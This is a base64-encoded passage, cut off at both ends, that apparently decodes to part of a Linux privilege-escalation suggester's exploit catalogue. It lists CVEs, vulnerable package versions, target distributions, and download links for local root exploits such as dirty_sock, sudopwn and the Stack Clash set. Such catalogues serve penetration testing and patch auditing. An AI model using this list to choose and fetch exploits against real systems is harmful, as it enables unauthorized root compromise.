uYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjYvMgpleHBsb2l0LWRiOiA0MTE3MwphdXRob3I6IEZlZGVyaWNvIEJlbnRvCkNvbW1lbnRzOiBOZWVkcyBhZG1pbiBpbnRlcmFjdGlvbiAocm9vdCB1c2VyIG5lZWRzIHRvIGxvZ2luIHZpYSBzc2ggdG8gdHJpZ2dlciBleHBsb2l0YXRpb24pCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2MTJdJHt0eHRyc3R9IGJsdWVtYW4gc2V0X2RoY3BfaGFuZGxlciBkLWJ1cyBwcml2ZXNjClJlcXM6IHBrZz1ibHVlbWFuLHZlcjwyLjAuMwpUYWdzOiBkZWJpYW49OHtibHVlbWFuOjEuMjN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3R3aXR0ZXIuY29tL3RoZWdydWdxL3N0YXR1cy82Nzc4MDk1Mjc4ODI4MTM0NDAKZXhwbG9pdC1kYjogNDYxODYKYXV0aG9yOiBTZWJhc3RpYW4gS3JhaG1lcgpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0MF0ke3R4dHJzdH0gdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IGRlYmlhbj04LHVidW50dT0xNi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvVG9tY2F0LURlYlBrZ3MtUm9vdC1Qcml2aWxlZ2UtRXNjYWxhdGlvbi1FeHBsb2l0LUNWRS0yMDE2LTEyNDAuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy90b21jYXQtcm9vdHByaXZlc2MtZGViLnNoCmV4cGxvaXQtZGI6IDQwNDUwCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBEZWJpYW4tYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xMjQ3XSR7dHh0cnN0fSBuZ2lueGVkLXJvb3Quc2gKUmVxczogcGtnPW5naW54fG5naW54LWZ1bGwsdmVyPDEuMTAuMwpUYWdzOiBkZWJpYW49OCx1YnVudHU9MTQuMDR8MTYuMDR8MTYuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL05naW54LUV4cGxvaXQtRGViLVJvb3QtUHJpdkVzYy1DVkUtMjAxNi0xMjQ3Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0yMDE2LTEyNDcvbmdpbnhlZC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNzY4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IFJvb3RpbmcgZGVwZW5kcyBvbiBjcm9uLmRhaWx5ICh1cCB0byAyNGggb2YgZGVsYXkpLiBBZmZlY3RlZDogZGViODogPDEuNi4yOyAxNC4wNDogPDEuNC42OyAxNi4wNDogMS4xMC4wOyBnZW50b286IDwxLjEwLjItcjMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTUzMV0ke3R4dHJzdH0gcGVybF9zdGFydHVwIChleGltKQpSZXFzOiBwa2c9ZXhpbSx2ZXI8NC44Ni4yClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5leGltLm9yZy9zdGF0aWMvZG9jL0NWRS0yMDE2LTE1MzEudHh0CmV4cGxvaXQtZGI6IDM5NTQ5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkgMgpSZXFzOiBwa2c9ZXhpbSx2ZXI8NC44Ni4yClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5leGltLm9yZy9zdGF0aWMvZG9jL0NWRS0yMDE2LTE1MzEudHh0CmV4cGxvaXQtZGI6IDM5NTM1CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTQ5ODldJHt0eHRyc3R9IHNldHJvdWJsZXNob290IDIKUmVxczogcGtnPXNldHJvdWJsZXNob290ClRhZ3M6IFJIRUw9Nnw3ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Mtc2tpbGxzLmJsb2dzcG90LmNvbS8yMDE2LzA2L2xldHMtZmVlZC1hdHRhY2tlci1pbnB1dC10by1zaC1jLXRvLXNlZS5odG1sCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9zdGVhbHRoL3Ryb3VibGVzaG9vdGVyL3Jhdy9tYXN0ZXIvc3RyYWlnaHQtc2hvb3Rlci5jCmV4cGxvaXQtZGI6CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTU0MjVdJHt0eHRyc3R9IHRvbWNhdC1SSC1yb290LnNoClJlcXM6IHBrZz10b21jYXQKVGFnczogUkhFTD03ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1SZWRIYXQtUGtncy1Sb290LVByaXZFc2MtRXhwbG9pdC1DVkUtMjAxNi01NDI1Lmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LVJILXJvb3Quc2gKZXhwbG9pdC1kYjogNDA0ODgKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWZmZWN0cyBvbmx5IFJlZEhhdC1iYXNlZCBkaXN0cm9zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTY2NjMsQ1ZFLTIwMTYtNjY2NHxDVkUtMjAxNi02NjYyXSR7dHh0cnN0fSBteXNxbC1leHBsb2l0LWNoYWluClJlcXM6IHBrZz1teXNxbC1zZXJ2ZXJ8bWFyaWFkYi1zZXJ2ZXIsdmVyPDUuNS41MgpUYWdzOiB1YnVudHU9MTYuMDQuMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTXlTUUwtTWFyaWEtUGVyY29uYS1Qcml2RXNjUmFjZS1DVkUtMjAxNi02NjYzLTU2MTYtRXhwbG9pdC5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0yMDE2LTY2NjMvbXlzcWwtcHJpdmVzYy1yYWNlLmMKZXhwbG9pdC1kYjogNDA2NzgKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWxzbyBNYXJpYURCIHZlcjwxMC4xLjE4IGFuZCB2ZXI8MTAuMC4yOCBhZmZlY3RlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi05NTY2XSR7dHh0cnN0fSBuYWdpb3Mtcm9vdC1wcml2ZXNjClJlcXM6IHBrZz1uYWdpb3MsdmVyPDQuMi40ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OYWdpb3MtRXhwbG9pdC1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtOTU2Ni5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi05NTY2L25hZ2lvcy1yb290LXByaXZlc2Muc2gKZXhwbG9pdC1kYjogNDA5MjEKYXV0aG9yOiBEYXdpZCBHb2x1bnNraQpDb21tZW50czogQWxsb3dzIHByaXYgZXNjYWxhdGlvbiBmcm9tIG5hZ2lvcyB1c2VyIG9yIG5hZ2lvcyBncm91cApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0wMzU4XSR7dHh0cnN0fSBudGZzLTNnLW1vZHByb2JlClJlcXM6IHBrZz1udGZzLTNnLHZlcjwyMDE3LjQKVGFnczogdWJ1bnR1PTE2LjA0e250ZnMtM2c6MjAxNS4zLjE0QVIuMS0xYnVpbGQxfSxkZWJpYW49Ny4we250ZnMtM2c6MjAxMi4xLjE1QVIuNS0yLjErZGViN3UyfSxkZWJpYW49OC4we250ZnMtM2c6MjAxNC4yLjE1QVIuMi0xK2RlYjh1Mn0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD0xMDcyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQxMzU2LnppcApleHBsb2l0LWRiOiA0MTM1NgphdXRob3I6IEphbm4gSG9ybgpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4gTGludXggaGVhZGVycyBtdXN0IGJlIGluc3RhbGxlZC4gU3lzdGVtIG11c3QgaGF2ZSBhdCBsZWFzdCB0d28gQ1BVIGNvcmVzLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy01ODk5XSR7dHh0cnN0fSBzLW5haWwtcHJpdmdldApSZXFzOiBwa2c9cy1uYWlsLHZlcjwxNC44LjE2ClRhZ3M6IHVidW50dT0xNi4wNCxtYW5qYXJvPTE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjcvNwpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjcvNy8xCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTU4OTkvZXhwbG9pdC5zaAphdXRob3I6IHdhcGlmbGFwaSAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBTdWRvZXItdG8tcm9vdApSZXFzOiBwa2c9c3Vkbyx2ZXI8PTEuOC4yMCxjbWQ6WyAtZiAvdXNyL3NiaW4vZ2V0ZW5mb3JjZSBdClRhZ3M6IFJIRUw9N3tzdWRvOjEuOC42cDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5zdWRvLndzL2FsZXJ0cy9saW51eF90dHkuaHRtbApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDUvMzAvY3ZlLTIwMTctMTAwMDM2Ny9saW51eF9zdWRvX2N2ZS0yMDE3LTEwMDAzNjcuYwpleHBsb2l0LWRiOiA0MjE4MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogTmVlZHMgdG8gYmUgc3Vkb2VyLiBXb3JrcyBvbmx5IG9uIFNFTGludXggZW5hYmxlZCBzeXN0ZW1zCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNjddJHt0eHRyc3R9IHN1ZG9wd24KUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2MwZDN6M3IwL3N1ZG8tQ1ZFLTIwMTctMTAwMDM2Ny9tYXN0ZXIvc3Vkb3B3bi5jCmV4cGxvaXQtZGI6CmF1dGhvcjogYzBkM3ozcjAKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzBdJHt0eHRyc3R9IGxpbnV4X2xkc29faHdjYXAKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXAuYwpleHBsb2l0LWRiOiA0MjI3NAphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X2xkc29fZHluYW1pYwpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4NgpUYWdzOiBkZWJpYW49OXwxMCx1YnVudHU9MTQuMDQuNXwxNi4wNC4yfDE3LjA0LGZlZG9yYT0yM3wyNHwyNQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfbGRzb19keW5hbWljLmMKZXhwbG9pdC1kYjogNDIyNzYKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgUElFcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY2LENWRS0yMDE3LTEwMDAzNzldJHt0eHRyc3R9IGxpbnV4X2xkc29faHdjYXBfNjQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODZfNjQKVGFnczogZGViaWFuPTcuN3w4LjV8OS4wLHVidW50dT0xNC4wNC4yfDE2LjA0LjJ8MTcuMDQsZmVkb3JhPTIyfDI1LGNlbnRvcz03LjMuMTYxMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfbGRzb19od2NhcF82NC5jCmV4cGxvaXQtZGI6IDQyMjc1CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IGJpbmFyaWVzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAzNzAsQ1ZFLTIwMTctMTAwMDM3MV0ke3R4dHJzdH0gbGludXhfb2Zmc2V0MmxpYgpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPD0yLjI1LHg4NgpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL3N0YWNrLWNsYXNoLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvbGludXhfb2Zmc2V0MmxpYi5jCmV4cGxvaXQtZGI6IDQyMjczCmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTEwMDAwMDFdJHt0eHRyc3R9IFJhdGlvbmFsTG92ZQpSZXFzOiBwa2c9Z2xpYmN8bGliYzYsdmVyPDIuMjcsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEseDg2XzY0ClRhZ3M6IGRlYmlhbj05e2xpYmM2OjIuMjQtMTErZGViOXUxfSx1YnVudHU9MTYuMDQuM3tsaWJjNjoyLjIzLTB1YnVudHU5fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNy9MaWJjUmVhbHBhdGhCdWZmZXJVbmRlcmZsb3cvCnNyYy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93L1JhdGlvbmFsTG92ZS5jCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvY3ZlLTIwMTgtMTAwMDAwMS9SYXRpb25hbExvdmUKZXhwbG9pdC1kYjogNDM3NzUKYXV0aG9yOiBoYWxmZG9nCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTEwOTAwXSR7dHh0cnN0fSB2cG5jX3ByaXZlc2MucHkKUmVxczogcGtnPW5ldHdvcmttYW5hZ2VyLXZwbmN8bmV0d29yay1tYW5hZ2VyLXZwbmMsdmVyPDEuMi42ClRhZ3M6IHVidW50dT0xNi4wNHtuZXR3b3JrLW1hbmFnZXItdnBuYzoxLjEuOTMtMX0sZGViaWFuPTkuMHtuZXR3b3JrLW1hbmFnZXItdnBuYzoxLjIuNC00fSxtYW5qYXJvPTE3ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3B1bHNlc2VjdXJpdHkuY28ubnovYWR2aXNvcmllcy9OTS1WUE5DLVByaXZlc2MKc3JjLXVybDogaHR0cHM6Ly9idWd6aWxsYS5ub3ZlbGwuY29tL2F0dGFjaG1lbnQuY2dpP2lkPTc3OTExMApleHBsb2l0LWRiOiA0NTMxMwphdXRob3I6IERlbmlzIEFuZHpha292aWMKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTE0NjY1XSR7dHh0cnN0fSByYXB0b3JfeG9yZ3kKUmVxczogcGtnPXhvcmcteDExLXNlcnZlci1Yb3JnLGNtZDpbIC11IC91c3IvYmluL1hvcmcgXQpUYWdzOiBjZW50b3M9Ny40ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5zZWN1cmVwYXR0ZXJucy5jb20vMjAxOC8xMC9jdmUtMjAxOC0xNDY2NS14b3JnLXgtc2VydmVyLmh0bWwKZXhwbG9pdC1kYjogNDU5MjIKYXV0aG9yOiByYXB0b3IKQ29tbWVudHM6IFguT3JnIFNlcnZlciBiZWZvcmUgMS4yMC4zIGlzIHZ1bG5lcmFibGUuIERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTczMDRdJHt0eHRyc3R9IGRpcnR5X3NvY2sKUmVxczogcGtnPXNuYXBkLHZlcjwyLjM3LGNtZDpbIC1TIC9ydW4vc25hcGQuc29ja2V0IF0KVGFnczogdWJ1bnR1PTE4LjEwLG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vaW5pdGJsb2cuY29tLzIwMTkvZGlydHktc29jay8KZXhwbG9pdC1kYjogNDYzNjEKZXhwbG9pdC1kYjogNDYzNjIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2luaXRzdHJpbmcvZGlydHlfc29jay9hcmNoaXZlL21hc3Rlci56aXAKYXV0aG9yOiBJbml0U3RyaW5nCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMDE0OV0ke3R4dHJzdH0gcmFwdG9yX2V4aW1fd2l6ClJlcXM6IHBrZz1leGltfGV4aW00LHZlcj49NC44Nyx2ZXI8PTQuOTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxOS8wNi8wNS9jdmUtMjAxOS0xMDE0OS9yZXR1cm4td2l6YXJkLXJjZS1leGltLnR4dApleHBsb2l0LWRiOiA0Njk5NgphdXRob3I6IHJhcHRvcgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMjE4MV0ke3R4dHJzdH0gU2Vydi1VIEZUUCBTZXJ2ZXIKUmVxczogY21kOlsgLXUgL3Vzci9sb2NhbC9TZXJ2LVUvU2Vydi1VIF0KVGFnczogZGViaWFuPTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy52YXN0YXJ0LmRldi8yMDE5LzA2L2N2ZS0yMDE5LTEyMTgxLXNlcnYtdS1leHBsb2l0LXdyaXRldXAuaHRtbApleHBsb2l0LWRiOiA0NzAwOQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZ3V5d2hhdGFndXkvQ1ZFLTIwMTktMTIxODEvbWFzdGVyL3NlcnZ1LXBlLWN2ZS0yMDE5LTEyMTgxLmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTktMTIxODEvU1Vyb290CmF1dGhvcjogR3V5IExldmluIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKQ29tbWVudHM6IE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIHVzZXMgYmFzaCBleGVjIHRlY2huaXF1ZSwgcmF0aGVyIHRoYW4gY29tcGlsaW5nIHdpdGggZ2NjLgpFT0YKKQpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE5LTE4ODYyXSR7dHh0cnN0fSBHTlUgTWFpbHV0aWxzIDIuMCA8PSAzLjcgbWFpZGFnIHVybCBsb2NhbCByb290IChDVkUtMjAxOS0xODg2MikKUmVxczogY21kOlsgLXUgL3Vzci9sb2NhbC9zYmluL21haWRhZyBdClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cubWlrZS1ndWFsdGllcmkuY29tL3Bvc3RzL2ZpbmRpbmctYS1kZWNhZGUtb2xkLWZsYXctaW4tZ251LW1haWx1dGlscwpleHQtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5jcm9uLnNoCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvcmF3L21hc3Rlci9DVkUtMjAxOS0xODg2Mi9leHBsb2l0LmxkcHJlbG9hZC5zaAphdXRob3I6IGJjb2xlcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODYzNF0ke3R4dHJzdH0gc3VkbyBwd2ZlZWRiYWNrClJlcXM6IHBrZz1zdWRvLHZlcjwxLjguMzEKVGFnczogbWludD0xOQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9keWxhbmthdHouY29tL0FuYWx5c2lzLW9mLUNWRS0yMDE5LTE4NjM0LwpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc2FsZWVtcmFzaGlkL3N1ZG8tY3ZlLTIwMTktMTg2MzQvcmF3L21hc3Rlci9leHBsb2l0LmMKYXV0aG9yOiBzYWxlZW1yYXNoaWQKQ29tbWVudHM6IHN1ZG8gY29uZmlndXJhdGlvbiByZXF1aXJlcyBwd2ZlZWRiYWNrIHRvIGJlIGVuYWJsZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIwLTk0NzBdJHt0eHRyc3R9IFdpbmcgRlRQIFNlcnZlciA8PSA2LjIuNSBMUEUKUmVxczogY21kOlsgLXggL2V0Yy9pbml0LmQvd2Z0cHNlcnZlciBdClRhZ3M6IHVidW50dT0xOApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3ZlLTIwMjAtOTQ3MC5waHAKc3JjLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3Z